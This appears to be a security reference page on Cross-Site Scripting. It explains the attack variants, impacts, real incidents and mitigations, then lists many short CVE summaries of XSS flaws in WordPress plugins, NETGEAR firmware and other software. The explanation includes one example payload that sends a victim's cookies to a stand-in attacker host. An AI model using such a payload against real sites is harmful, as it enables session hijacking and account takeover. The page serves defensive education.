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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39245)

EPSS 1% CVSS 5.4
MEDIUM This Month

Accounting Journal Management 1.0 is vulnerable to XSS-PHPSESSID-Hijacking. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Accounting Journal Management
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

In Checkmk <=2.0.0p19 fixed in 2.0.0p20 and Checkmk <=1.6.0p27 fixed in 1.6.0p28, the title of a Predefined condition is not properly escaped when shown as condition, which can result in Cross Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Checkmk
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Checkmk <=2.0.0p19 Fixed in 2.0.0p20 and Checkmk <=1.6.0p27 Fixed in 1.6.0p28 are affected by a Cross Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Checkmk
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting vulnerability in phpUploader v1.2 and earlier allows a remote unauthenticated attacker to inject an arbitrary script via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Phpuploader
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in a-blog cms Ver.2.8.x series versions prior to Ver.2.8.75, Ver.2.9.x series versions prior to Ver.2.9.40, Ver.2.10.x series versions prior to Ver.2.10.44,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS A Blog Cms
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in a-blog cms Ver.2.8.x series versions prior to Ver.2.8.75, Ver.2.9.x series versions prior to Ver.2.9.40, Ver.2.10.x series versions prior to Ver.2.10.44,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS A Blog Cms
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Checkmk <=2.0.0p19 contains a Cross Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Checkmk
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The Ad Inserter WordPress plugin before 2.7.10, Ad Inserter Pro WordPress plugin before 2.7.10 do not sanitise and escape the html_element_selection parameter before outputting it back in the page,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Ad Inserter Pro +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The GiveWP WordPress plugin before 2.17.3 does not escape the json parameter before outputting it back in an attribute in the Import admin dashboard, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Givewp
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The WOOCS WordPress plugin before 1.3.7.5 does not sanitise and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action (available to both unauthenticated and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Woocs
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Shield Security WordPress plugin before 13.0.6 does not sanitise and escape admin notes, which could allow high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Shield Security
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Image Photo Gallery Final Tiles Grid WordPress plugin before 3.5.3 does not sanitise and escape the Description field when editing a gallery, allowing users with a role as low as contributor to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Image Photo Gallery Final Tiles Grid
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Openmct versions 1.3.0 to 1.7.7 are vulnerable against stored XSS via the “Summary Widget” element, that allows the injection of malicious JavaScript into the ‘URL’ field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Openmct
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Openmct versions 1.3.0 to 1.7.7 are vulnerable against stored XSS via the “Condition Widget” element, that allows the injection of malicious JavaScript into the ‘URL’ field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Openmct
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Openmct versions 1.3.0 to 1.7.7 are vulnerable against stored XSS via the “Web Page” element, that allows the injection of malicious JavaScript into the ‘URL’ field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Openmct
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in Packagist microweber/microweber prior to 1.2.11. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

WikiDocs version 0.1.18 has multiple reflected XSS vulnerabilities on different pages. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Wikidocs
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in Packagist microweber/microweber prior to 1.2.11. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

SAS Web Report Studio 4.4 allows XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Web Report Studio
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM POC This Month

ZEROF Web Server 2.0 allows /admin.back XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Web Server
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Prism is a syntax highlighting library. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Prism
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

An issue was discovered in Cerebrate through 1.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Cerebrate
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

An issue was discovered in Cerebrate through 1.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Cerebrate
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network (EPN) Manager could allow an unauthenticated, remote attacker to conduct a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS Evolved Programmable Network Manager +1
NVD
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

The WP Photo Album Plus WordPress plugin before 8.0.10 was vulnerable to Stored Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Wp Photo Album Plus
NVD WPScan VulDB
EPSS 1% CVSS 5.4
MEDIUM This Month

OCS Inventory 2.9.1 is affected by Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ocs Inventory
NVD VulDB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A persistent cross-site scripting (XSS) vulnerability exists on two input fields within the administrative panel when editing users in the XMPie UStore application on version 12.3.7244.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Xmpie Ustore
NVD VulDB
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

A reflected cross-site-scripting attack in web application of D-Link DIR-X1860 before v1.10WWB09_Beta allows a remote unauthenticated attacker to execute code in the device of the victim via sending. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS D-Link Dir X1860 Firmware
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

PrinterLogic Web Stack versions 19.1.1.13 SP9 and below are vulnerable to multiple reflected cross site scripting vulnerabilities. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Web Stack
NVD VulDB
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

Reflected Cross-site scripting (XSS) vulnerability in RosarioSIS 8.2.1 allows attackers to inject arbitrary HTML via the search_term parameter in the modules/Scheduling/Courses.php script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Rosariosis
NVD GitHub VulDB
EPSS 3% CVSS 6.1
MEDIUM POC This Month

Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability in the /goform/activate_process "count" parameter via GET. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Reprise License Manager
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Convos is an open source multi-user chat that runs in a web browser. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Convos
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Convos is an open source multi-user chat that runs in a web browser. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Convos
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Latte is an open source template engine for PHP. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Latte
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Fluxbb v1.4.12 is affected by a Cross Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fluxbb
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

admin/limits.php in Dolibarr 7.0.2 allows HTML injection, as demonstrated by the MAIN_MAX_DECIMALS_TOT parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Dolibarr Erp Crm
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM i 7.2, 7.3, and 7.4 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

jQuery Terminal Emulator is a plugin for creating command line interpreters in your applications. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Jquery Terminal
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Quectel UC20 UMTS/HSPA+ UC20 6.3.14 is affected by a Cross Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Uc20 Firmware
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

In Requarks wiki.js, versions 2.0.0-beta.147 to 2.5.255 are affected by Stored XSS vulnerability, where a low privileged (editor) user can upload a SVG file that contains malicious JavaScript while. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Wiki Js
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

livehelperchat is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Live Helper Chat
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

livehelperchat is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Live Helper Chat
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect QNAP device running Kazoo Server. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Qnap XSS Kazoo Server
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

In “ifme”, versions v7.22.0 to v7.31.4 are vulnerable against self-stored XSS in the contacts field as it allows loading XSS payloads fetched via an iframe. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Ifme
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

In “ifme”, versions 1.0.0 to v7.31.4 are vulnerable against stored XSS vulnerability in the markdown editor. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Ifme
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

In “ifme”, versions 1.0.0 to v7.31.4 are vulnerable against stored XSS vulnerability (notifications section) which can be directly triggered by sending an ally request to the admin. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Ifme
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

SLICAN WebCTI 1.01 2015 is affected by a Cross Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Webcti
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

NUUO Network Video Recorder NVRsolo 3.9.1 is affected by a Cross Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nvrsolo Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A persistent cross-site scripting (XSS) issue in the web interface of SuiteCRM before 7.10.35, and 7.11.x and 7.12.x before 7.12.2, allows a remote attacker to introduce arbitrary JavaScript via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Suitecrm
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM POC This Month

Reflected Cross Site Scripting (XSS) in SAFARI Montage versions 8.3 and 8.5 allows remote attackers to execute JavaScript codes. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Apple XSS Safari Montage
NVD Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

livehelperchat is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Live Helper Chat
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

OpenWrt 21.02.1 allows XSS via the NAT Rules Name screen. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openwrt
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

OpenWrt 21.02.1 allows XSS via the Traffic Rules Name screen. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openwrt
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

OpenWrt 21.02.1 allows XSS via the Port Forwards Add Name screen. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openwrt
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Netgen Tags Bundle 3.4.x before 3.4.11 and 4.0.x before 4.0.15 allows XSS in the Tags Admin interface. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Tags Bundle
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Wiki.js is a wiki app built on Node.js. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

Node.js XSS File Upload +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Wiki.js is a wiki app built on node.js. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

Node.js XSS File Upload +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

IBM OPENBMC OP910 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

IBM XSS Power System Ac922 8335 Gtg Firmware +2
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Smart Floating / Sticky Buttons WordPress plugin before 2.5.5 does not sanitise and escape some parameter before outputting them in attributes and page, which could allow high privilege users to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Buttonizer
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WP RSS Aggregator WordPress plugin before 4.19.3 does not sanitise and escape data before outputting it in the System Info admin dashboard, which could lead to a Stored XSS issue due to the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

CSRF WordPress XSS +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WPFront User Role Editor WordPress plugin before 3.2.1.11184 does not sanitise and escape the changes-saved parameter before outputting it back in the admin dashboard, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wpfront User Role Editor
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Gwolle Guestbook WordPress plugin before 4.2.0 does not sanitise and escape the gwolle_gb_user_email parameter before outputting it back in an attribute, leading to a Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gwolle Guestbook
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

The Paid Memberships Pro WordPress plugin before 2.6.6 does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Paid Memberships Pro
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WordPress Download Manager WordPress plugin before 3.2.22 does not sanitise and escape Template data before outputting it in various pages (such as admin dashboard and frontend). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

CSRF WordPress XSS +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Contact Form & Lead Form Elementor Builder WordPress plugin before 1.6.4 does not sanitise and escape some lead values, which could allow unauthenticated users to perform Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Contact Form Lead Form Elementor Builder
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Typebot | Build beautiful conversational forms WordPress plugin before 1.4.3 does not sanitise and escape the Publish ID setting, which could allow high privilege users to perform Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Typebot
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Tickera WordPress plugin before 3.4.8.3 does not properly sanitise and escape the Name fields of booked Events before outputting them in the Orders admin dashboard, which could allow. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Tickera
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Attendance Management System 1.0 is affected by a Cross Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Attendance Management System
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

livehelperchat is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Live Helper Chat
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS Gs108T Firmware +1
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS Rax200 Firmware +4
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS R6120 Firmware +14
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS R7000 Firmware +7
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS R7000 Firmware +7
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by Stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS D6200 Firmware +19
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS Rax200 Firmware +21
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS Rax200 Firmware +29
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS Rax200 Firmware +14
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS Eax20 Firmware +16
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS Cbr40 Firmware +27
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS Eax80 Firmware +14
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Certain NETGEAR devices are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS Eax20 Firmware +14
NVD
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

NETGEAR R7000 devices before 1.0.11.126 are affected by stored XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS R7000 Firmware
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

NETGEAR R7000 devices before 1.0.11.126 are affected by stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS R7000 Firmware
NVD
EPSS 1% CVSS 5.4
